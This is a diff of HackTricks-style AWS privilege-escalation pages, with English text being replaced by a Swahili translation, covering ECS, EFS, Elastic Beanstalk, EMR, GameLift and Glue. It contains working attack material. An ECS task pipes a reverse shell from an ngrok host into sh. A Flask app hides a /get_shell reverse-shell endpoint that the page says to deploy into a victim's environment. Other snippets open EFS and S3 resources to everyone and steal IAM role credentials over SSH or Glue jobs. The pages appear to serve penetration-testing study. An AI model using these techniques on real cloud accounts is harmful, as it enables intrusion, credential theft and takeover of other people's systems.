`ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -An attacker with the **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** can **execute commands** inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\ -However, in order to do that, the container instance need to be running the **ExecuteCommand agent** (which by default isn't). +Mshambuliaji mwenye **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** anaweza **kutekeleza amri** ndani ya kontena linaloendesha na kuhamasisha jukumu la IAM lililounganishwa nalo (unahitaji ruhusa za kuelezea kwa sababu ni muhimu kutekeleza `aws ecs execute-command`).\ +Hata hivyo, ili kufanya hivyo, kifaa cha kontena kinahitaji kuwa kinaendesha **ExecuteCommand agent** (ambayo kwa kawaida hakiko). -Therefore, the attacker cloud try to: - -- **Try to run a command** in every running container +Kwa hivyo, mshambuliaji anaweza kujaribu: +- **Jaribu kutekeleza amri** katika kila kontena linaloendesha ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do - echo "Cluster $cluster" - for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do - echo " Task $task" - # If true, it's your lucky day - aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand - done +echo "Cluster $cluster" +for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do +echo " Task $task" +# If true, it's your lucky day +aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand +done done # Execute a shell in a container aws ecs execute-command --interactive \ - --command "sh" \ - --cluster "$CLUSTER_ARN" \ - --task "$TASK_ARN" +--command "sh" \ +--cluster "$CLUSTER_ARN" \ +--task "$TASK_ARN" ``` +- Ikiwa ana **`ecs:RunTask`**, endesha kazi kwa `aws ecs run-task --enable-execute-command [...]` +- Ikiwa ana **`ecs:StartTask`**, endesha kazi kwa `aws ecs start-task --enable-execute-command [...]` +- Ikiwa ana **`ecs:CreateService`**, unda huduma kwa `aws ecs create-service --enable-execute-command [...]` +- Ikiwa ana **`ecs:UpdateService`**, sasisha huduma kwa `aws ecs update-service --enable-execute-command [...]` -- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]` -- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]` -- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]` -- If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]` +Unaweza kupata **mfano wa chaguzi hizo** katika **sehemu za awali za ECS privesc**. -You can find **examples of those options** in **previous ECS privesc sections**. - -**Potential Impact:** Privesc to a different role attached to containers. +**Athari Zinazoweza Kutokea:** Privesc kwa jukumu tofauti lililounganishwa na kontena. ### `ssm:StartSession` -Check in the **ssm privesc page** how you can abuse this permission to **privesc to ECS**: +Angalia katika **ukurasa wa ssm privesc** jinsi unavyoweza kutumia ruhusa hii ili **privesc kwa ECS**: {{#ref}} aws-ssm-privesc.md @@ -198,7 +186,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -Check in the **ec2 privesc page** how you can abuse these permissions to **privesc to ECS**: +Angalia katika **ukurasa wa ec2 privesc** jinsi unavyoweza kutumia ruhusa hizi ili **privesc kwa ECS**: {{#ref}} aws-ec2-privesc.md @@ -206,30 +194,29 @@ aws-ec2-privesc.md ### `?ecs:RegisterContainerInstance` -TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker?? +TODO: Je, inawezekana kujiandikisha kwa mfano kutoka akaunti tofauti ya AWS ili kazi zifanywe chini ya mashine zinazodhibitiwa na mshambuliaji?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] -> TODO: Test this - -An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. This allows the attacker to **execute arbitrary code within the service**. +> TODO: Jaribu hii +Mshambuliaji mwenye ruhusa `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, na `ecs:DescribeTaskSets` anaweza **kuunda seti ya kazi mbaya kwa huduma iliyopo ya ECS na kusasisha seti ya kazi ya msingi**. Hii inamruhusu mshambuliaji **kutekeleza msimbo wowote ndani ya huduma**. ```bash bashCopy code# Register a task definition with a reverse shell echo '{ - "family": "malicious-task", - "containerDefinitions": [ - { - "name": "malicious-container", - "image": "alpine", - "command": [ - "sh", - "-c", - "apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" - ] - } - ] +"family": "malicious-task", +"containerDefinitions": [ +{ +"name": "malicious-container", +"image": "alpine", +"command": [ +"sh", +"-c", +"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" +] +} +] }' > malicious-task-definition.json aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json @@ -240,15 +227,10 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` +**Madhara Yanayoweza Kutokea**: Teua msimbo wa kiholela katika huduma iliyoathirika, ambayo inaweza kuathiri utendaji wake au kuhamasisha data nyeti. -**Potential Impact**: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data. - -## References +## Marejeleo - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index 8a54b28d8..61feae502 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -4,97 +4,83 @@ ## EFS -More **info about EFS** in: +Zaidi ya **info kuhusu EFS** katika: {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} -Remember that in order to mount an EFS you need to be in a subnetwork where the EFS is exposed and have access to it (security groups). Is this is happening, by default, you will always be able to mount it, however, if it's protected by IAM policies you need to have the extra permissions mentioned here to access it. +Kumbuka kwamba ili kuunganisha EFS unahitaji kuwa katika subnetwork ambapo EFS imewekwa wazi na kuwa na ufikiaji kwake (vikundi vya usalama). Ikiwa hii inatokea, kwa default, utaweza kuunganisha kila wakati, hata hivyo, ikiwa inakulindwa na sera za IAM unahitaji kuwa na ruhusa za ziada zilizotajwa hapa ili kuweza kuifikia. ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` -With any of those permissions an attacker can **change the file system policy** to **give you access** to it, or to just **delete it** so the **default access** is granted. - -To delete the policy: +Kwa ruhusa yoyote kati ya hizo mshambuliaji anaweza **kubadilisha sera ya mfumo wa faili** ili **kukupa ufikiaji** kwake, au tu **kuifuta** ili **ufikiaji wa default** upatikane. +Ili kufuta sera: ```bash aws efs delete-file-system-policy \ - --file-system-id +--file-system-id ``` - -To change it: - +Ili kubadilisha: ```json aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json // Give everyone trying to mount it read, write and root access // policy.json: { - "Version": "2012-10-17", - "Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", - "Statement": [ - { - "Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "elasticfilesystem:ClientRootAccess", - "elasticfilesystem:ClientWrite", - "elasticfilesystem:ClientMount" - ], - "Condition": { - "Bool": { - "elasticfilesystem:AccessedViaMountTarget": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", +"Statement": [ +{ +"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"elasticfilesystem:ClientRootAccess", +"elasticfilesystem:ClientWrite", +"elasticfilesystem:ClientMount" +], +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] } ``` - ### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` -With this permission an attacker will be able to **mount the EFS**. If the write permission is not given by default to everyone that can mount the EFS, he will have only **read access**. - +Kwa ruhusa hii mshambuliaji ataweza **kuunganisha EFS**. Ikiwa ruhusa ya kuandika haitolewi kwa default kwa kila mtu anayeweza kuunganisha EFS, atakuwa na **ufikiaji wa kusoma tu**. ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ ``` +The extra permissions `elasticfilesystem:ClientRootAccess` and `elasticfilesystem:ClientWrite` can be used to **write** inside the filesystem after it's mounted and to **access** that file system **as root**. -The extra permissions`elasticfilesystem:ClientRootAccess` and `elasticfilesystem:ClientWrite` can be used to **write** inside the filesystem after it's mounted and to **access** that file system **as root**. - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Madhara Yanayoweza Kutokea:** Indirect privesc kwa kutafuta taarifa nyeti katika mfumo wa faili. ### `elasticfilesystem:CreateMountTarget` -If you an attacker is inside a **subnetwork** where **no mount target** of the EFS exists. He could just **create one in his subnet** with this privilege: - +Ikiwa wewe ni mshambuliaji aliye ndani ya **subnetwork** ambapo **hakuna lengo la kuunganisha** la EFS. Anaweza tu **kuunda moja katika subnet yake** kwa ruhusa hii: ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ - --subnet-id \ - --security-groups +--subnet-id \ +--security-groups ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika mfumo wa faili. ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -In a scenario where an attacker finds that the EFS has mount target in his subnetwork but **no security group is allowing the traffic**, he could just **change that modifying the selected security groups**: - +Katika hali ambapo mshambuliaji anapata kwamba EFS ina lengo la kuunganisha katika mtandao wake wa ndani lakini **hakuna kundi la usalama linaloruhusu trafiki**, anaweza tu **kubadilisha hilo kwa kubadilisha makundi ya usalama yaliyochaguliwa:** ```bash aws efs modify-mount-target-security-groups \ - --mount-target-id \ - --security-groups +--mount-target-id \ +--security-groups ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika mfumo wa faili. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index 613dd3a47..fcf7628d6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -11,12 +11,11 @@ More **info about Elastic Beanstalk** in: {{#endref}} > [!WARNING] -> In order to perform sensitive actions in Beanstalk you will need to have a **lot of sensitive permissions in a lot of different services**. You can check for example the permissions given to **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Ili kutekeleza hatua nyeti katika Beanstalk, utahitaji kuwa na **idhini nyingi nyeti katika huduma nyingi tofauti**. Unaweza kuangalia kwa mfano idhini zilizotolewa kwa **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** -### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others - -With **write permissions over the S3 bucket** containing the **code** of the environment and permissions to **rebuild** the application (it's needed `elasticbeanstalk:RebuildEnvironment` and a few more related to `S3` , `EC2` and `Cloudformation`), you can **modify** the **code**, **rebuild** the app and the next time you access the app it will **execute your new code**, allowing the attacker to compromise the application and the IAM role credentials of it. +### `elasticbeanstalk:RebuildEnvironment`, ruhusa za kuandika S3 & nyingi nyingine +Kwa **ruhusa za kuandika juu ya S3 bucket** inayoshikilia **code** ya mazingira na ruhusa za **kurebuild** programu (inahitajika `elasticbeanstalk:RebuildEnvironment` na nyingine chache zinazohusiana na `S3`, `EC2` na `Cloudformation`), unaweza **kubadilisha** **code**, **kurebuild** programu na wakati ujao unapoingia kwenye programu it **atekeleza code yako mpya**, ikiruhusu mshambuliaji kuathiri programu na akreditivu za IAM roll yake. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -31,56 +30,42 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247 # Rebuild env aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` +### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, na mengine... -### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more... - -The mentioned plus several **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch. - -- Create an AWS Elastic Beanstalk application: +Iliyotajwa pamoja na ruhusa kadhaa za **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** na **`elasticloadbalancing`** ni muhimu ili kuunda hali ya Elastic Beanstalk kutoka mwanzo. +- Unda programu ya AWS Elastic Beanstalk: ```bash aws elasticbeanstalk create-application --application-name MyApp ``` - -- Create an AWS Elastic Beanstalk environment ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): - +- Unda mazingira ya AWS Elastic Beanstalk ([**jukwaa zinazoungwa mkono**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` +Ikiwa mazingira tayari yameundwa na **hutaki kuunda mpya**, unaweza tu **kusasisha** ile iliyopo. -If an environment is already created and you **don't want to create a new one**, you could just **update** the existent one. - -- Package your application code and dependencies into a ZIP file: - +- Pakia msimbo wa programu yako na utegemezi katika faili la ZIP: ```python zip -r MyApp.zip . ``` - -- Upload the ZIP file to an S3 bucket: - +- Pakia faili la ZIP kwenye S3 bucket: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` - -- Create an AWS Elastic Beanstalk application version: - +- Unda toleo la programu ya AWS Elastic Beanstalk: ```css aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip" ``` - -- Deploy the application version to your AWS Elastic Beanstalk environment: - +- Tunga toleo la programu kwenye mazingira yako ya AWS Elastic Beanstalk: ```bash aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0 ``` - ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -First of all you need to create a **legit Beanstalk environment** with the **code** you would like to run in the **victim** following the **previous steps**. Potentially a simple **zip** containing these **2 files**: +Kwanza kabisa unahitaji kuunda **mazingira halali ya Beanstalk** na **msimbo** unayotaka kuendesha katika **mhasiriwa** kufuata **hatua zilizopita**. Inaweza kuwa **zip** rahisi inayojumuisha **faili hizi 2**: {{#tabs }} {{#tab name="application.py" }} - ```python from flask import Flask, request, jsonify import subprocess,os, socket @@ -89,34 +74,32 @@ application = Flask(__name__) @application.errorhandler(404) def page_not_found(e): - return jsonify('404') +return jsonify('404') @application.route("/") def index(): - return jsonify('Welcome!') +return jsonify('Welcome!') @application.route("/get_shell") def search(): - host=request.args.get('host') - port=request.args.get('port') - if host and port: - s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) - s.connect((host,int(port))) - os.dup2(s.fileno(),0) - os.dup2(s.fileno(),1) - os.dup2(s.fileno(),2) - p=subprocess.call(["/bin/sh","-i"]) - return jsonify('done') +host=request.args.get('host') +port=request.args.get('port') +if host and port: +s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) +s.connect((host,int(port))) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(["/bin/sh","-i"]) +return jsonify('done') if __name__=="__main__": - application.run() +application.run() ``` - {{#endtab }} {{#tab name="requirements.txt" }} - ``` click==7.1.2 Flask==1.1.2 @@ -125,44 +108,42 @@ Jinja2==2.11.3 MarkupSafe==1.1.1 Werkzeug==1.0.1 ``` - {{#endtab }} {{#endtabs }} -Once you have **your own Beanstalk env running** your rev shell, it's time to **migrate** it to the **victims** env. To so so you need to **update the Bucket Policy** of your beanstalk S3 bucket so the **victim can access it** (Note that this will **open** the Bucket to **EVERYONE**): - +Mara tu una **mazingira yako ya Beanstalk inayoendesha** shell yako ya rev, ni wakati wa **kuhamasisha** kwa **mazingira ya waathirika**. Ili kufanya hivyo unahitaji **kusaidia Sera ya Ndoo** ya ndoo yako ya beanstalk S3 ili **waathirika waweze kuipata** (Kumbuka kwamba hii it **fungua** Ndoo kwa **KILA MTU**): ```json { - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "s3:ListBucket", - "s3:ListBucketVersions", - "s3:GetObject", - "s3:GetObjectVersion", - "s3:*" - ], - "Resource": [ - "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022", - "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*" - ] - }, - { - "Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b", - "Effect": "Deny", - "Principal": { - "AWS": "*" - }, - "Action": "s3:DeleteBucket", - "Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022" - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"s3:ListBucket", +"s3:ListBucketVersions", +"s3:GetObject", +"s3:GetObjectVersion", +"s3:*" +], +"Resource": [ +"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022", +"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*" +] +}, +{ +"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b", +"Effect": "Deny", +"Principal": { +"AWS": "*" +}, +"Action": "s3:DeleteBucket", +"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022" +} +] } ``` @@ -181,9 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index 0025abe52..2a4442b4f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -4,7 +4,7 @@ ## EMR -More **info about EMR** in: +Zaidi ya **info kuhusu EMR** katika: {{#ref}} ../aws-services/aws-emr-enum.md @@ -12,32 +12,30 @@ More **info about EMR** in: ### `iam:PassRole`, `elasticmapreduce:RunJobFlow` -An attacker with these permissions can **run a new EMR cluster attaching EC2 roles** and try to steal its credentials.\ -Note that in order to do this you would need to **know some ssh priv key imported in the account** or to import one, and be able to **open port 22 in the master node** (you might be able to do this with the attributes `EmrManagedMasterSecurityGroup` and/or `ServiceAccessSecurityGroup` inside `--ec2-attributes`). - +Mshambuliaji mwenye ruhusa hizi anaweza **kuendesha klasta mpya ya EMR akishikilia majukumu ya EC2** na kujaribu kuiba akidi zake.\ +Kumbuka kwamba ili kufanya hivi unahitaji **kujua funguo za ssh zilizoorodheshwa katika akaunti** au kuingiza moja, na uweze **kufungua bandari 22 katika nodi ya mkuu** (unaweza kuwa na uwezo wa kufanya hivi kwa kutumia sifa `EmrManagedMasterSecurityGroup` na/au `ServiceAccessSecurityGroup` ndani ya `--ec2-attributes`). ```bash # Import EC2 ssh key (you will need extra permissions for this) ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" chmod 400 /tmp/sshkey base64 /tmp/sshkey.pub > /tmp/pub.key aws ec2 import-key-pair \ - --key-name "privesc" \ - --public-key-material file:///tmp/pub.key +--key-name "privesc" \ +--public-key-material file:///tmp/pub.key aws emr create-cluster \ - --release-label emr-5.15.0 \ - --instance-type m4.large \ - --instance-count 1 \ - --service-role EMR_DefaultRole \ - --ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc +--release-label emr-5.15.0 \ +--instance-type m4.large \ +--instance-count 1 \ +--service-role EMR_DefaultRole \ +--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc # Wait 1min and connect via ssh to an EC2 instance of the cluster) aws emr describe-cluster --cluster-id # In MasterPublicDnsName you can find the DNS to connect to the master instance ## You cna also get this info listing EC2 instances ``` - Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role. **Potential Impact:** Privesc to the EC2 service role specified. @@ -47,7 +45,7 @@ Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is With these permissions an attacker can go to the **AWS console**, create a Notebook and access it to steal the IAM Role. > [!CAUTION] -> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related. +> Hata kama unachanganya IAM role na notebook instance katika majaribio yangu niliona kwamba niliweza kuiba AWS managed credentials na si creds zinazohusiana na IAM role. **Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile @@ -57,12 +55,8 @@ Just with this permission an attacker will be able to access the **Jupyter Noteb The URL of the notebook is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` > [!CAUTION] -> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related +> Hata kama unachanganya IAM role na notebook instance katika majaribio yangu niliona kwamba niliweza kuiba AWS managed credentials na si creds zinazohusiana na IAM role. **Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md index b40cdf413..136e675e3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md @@ -4,19 +4,13 @@ ### `gamelift:RequestUploadCredentials` -With this permission an attacker can retrieve a **fresh set of credentials for use when uploading** a new set of game build files to Amazon GameLift's Amazon S3. It'll return **S3 upload credentials**. - +Kwa ruhusa hii, mshambuliaji anaweza kupata **seti mpya ya ithibati za kutumika wakati wa kupakia** seti mpya ya faili za ujenzi wa mchezo kwenye Amazon GameLift's Amazon S3. Itarudisha **ithibati za kupakia S3**. ```bash aws gamelift request-upload-credentials \ - --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 +--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 ``` - -## References +## Marejeleo - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index 049d3b273..c348f421d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -6,15 +6,14 @@ ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Users with these permissions can **set up a new AWS Glue development endpoint**, **assigning an existing service role assumable by Glue** with specific permissions to this endpoint. - -After the setup, the **attacker can SSH into the endpoint's instance**, and steal the IAM credentials of the assigned role: +Watumiaji wenye ruhusa hizi wanaweza **kuanzisha mwisho mpya wa maendeleo ya AWS Glue**, **wakitenga jukumu la huduma lililopo linaloweza kuchukuliwa na Glue** na ruhusa maalum kwa mwisho huu. +Baada ya kuanzishwa, **mshambuliaji anaweza SSH kwenye mfano wa mwisho**, na kuiba akidi za IAM za jukumu lililotengwa: ```bash # Create endpoint aws glue create-dev-endpoint --endpoint-name \ - --role-arn \ - --public-key file:///ssh/key.pub +--role-arn \ +--public-key file:///ssh/key.pub # Get the public address of the instance ## You could also use get-dev-endpoints @@ -23,19 +22,17 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` +Kwa madhumuni ya kujificha, inapendekezwa kutumia akreditivu za IAM kutoka ndani ya mashine ya virtual ya Glue. -For stealth purpose, it's recommended to use the IAM credentials from inside the Glue virtual machine. - -**Potential Impact:** Privesc to the glue service role specified. +**Athari Zinazoweza Kutokea:** Privesc kwa jukumu la huduma ya glue lililotajwa. ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Users with this permission can **alter an existing Glue development** endpoint's SSH key, **enabling SSH access to it**. This allows the attacker to execute commands with the privileges of the endpoint's attached role: - +Watumiaji wenye ruhusa hii wanaweza **kubadilisha funguo za SSH za maendeleo** za Glue zilizopo, **kuwezesha ufikiaji wa SSH kwake**. Hii inamruhusu mshambuliaji kutekeleza amri kwa mamlaka ya jukumu lililounganishwa na mwisho: ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ - --public-key file:///ssh/key.pub +--public-key file:///ssh/key.pub # Get the public address of the instance ## You could also use get-dev-endpoints @@ -44,13 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` - -**Potential Impact:** Privesc to the glue service role used. +**Madhara Yanayoweza Kutokea:** Privesc kwa huduma ya glue inayotumika. ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:UpdateJob`**, and either **`glue:StartJobRun` or `glue:CreateTrigger`** can **create or update an AWS Glue job**, attaching any **Glue service account**, and initiate the job's execution. The job's capabilities include running arbitrary Python code, which can be exploited to establish a reverse shell. This reverse shell can then be utilized to exfiltrate the **IAM credential**s of the role attached to the Glue job, leading to potential unauthorized access or actions based on the permissions of that role: - +Watumiaji wenye **`iam:PassRole`** pamoja na **`glue:CreateJob` au `glue:UpdateJob`**, na **`glue:StartJobRun` au `glue:CreateTrigger`** wanaweza **kuunda au kuboresha kazi ya AWS Glue**, wakitenga akaunti yoyote ya **Glue service**, na kuanzisha utekelezaji wa kazi hiyo. Uwezo wa kazi hiyo unajumuisha kukimbia msimbo wa Python wa kawaida, ambao unaweza kutumika kuanzisha shell ya kurudi. Shell hii ya kurudi inaweza kisha kutumika kuhamasisha **IAM credential** za jukumu lililounganishwa na kazi ya Glue, ikisababisha uwezekano wa ufikiaji usioidhinishwa au vitendo kulingana na ruhusa za jukumu hilo: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -65,32 +60,27 @@ Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:U # A Glue role with admin access was created aws glue create-job \ - --name privesctest \ - --role arn:aws:iam::93424712358:role/GlueAdmin \ - --command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' +--name privesctest \ +--role arn:aws:iam::93424712358:role/GlueAdmin \ +--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' # You can directly start the job aws glue start-job-run --job-name privesctest # Or you can create a trigger to start it aws glue create-trigger --name triggerprivesc --type SCHEDULED \ - --actions '[{"JobName": "privesctest"}]' --start-on-creation \ - --schedule "0/5 * * * * *" #Every 5mins, feel free to change +--actions '[{"JobName": "privesctest"}]' --start-on-creation \ +--schedule "0/5 * * * * *" #Every 5mins, feel free to change ``` - -**Potential Impact:** Privesc to the glue service role specified. +**Madhara Yanayoweza Kutokea:** Privesc 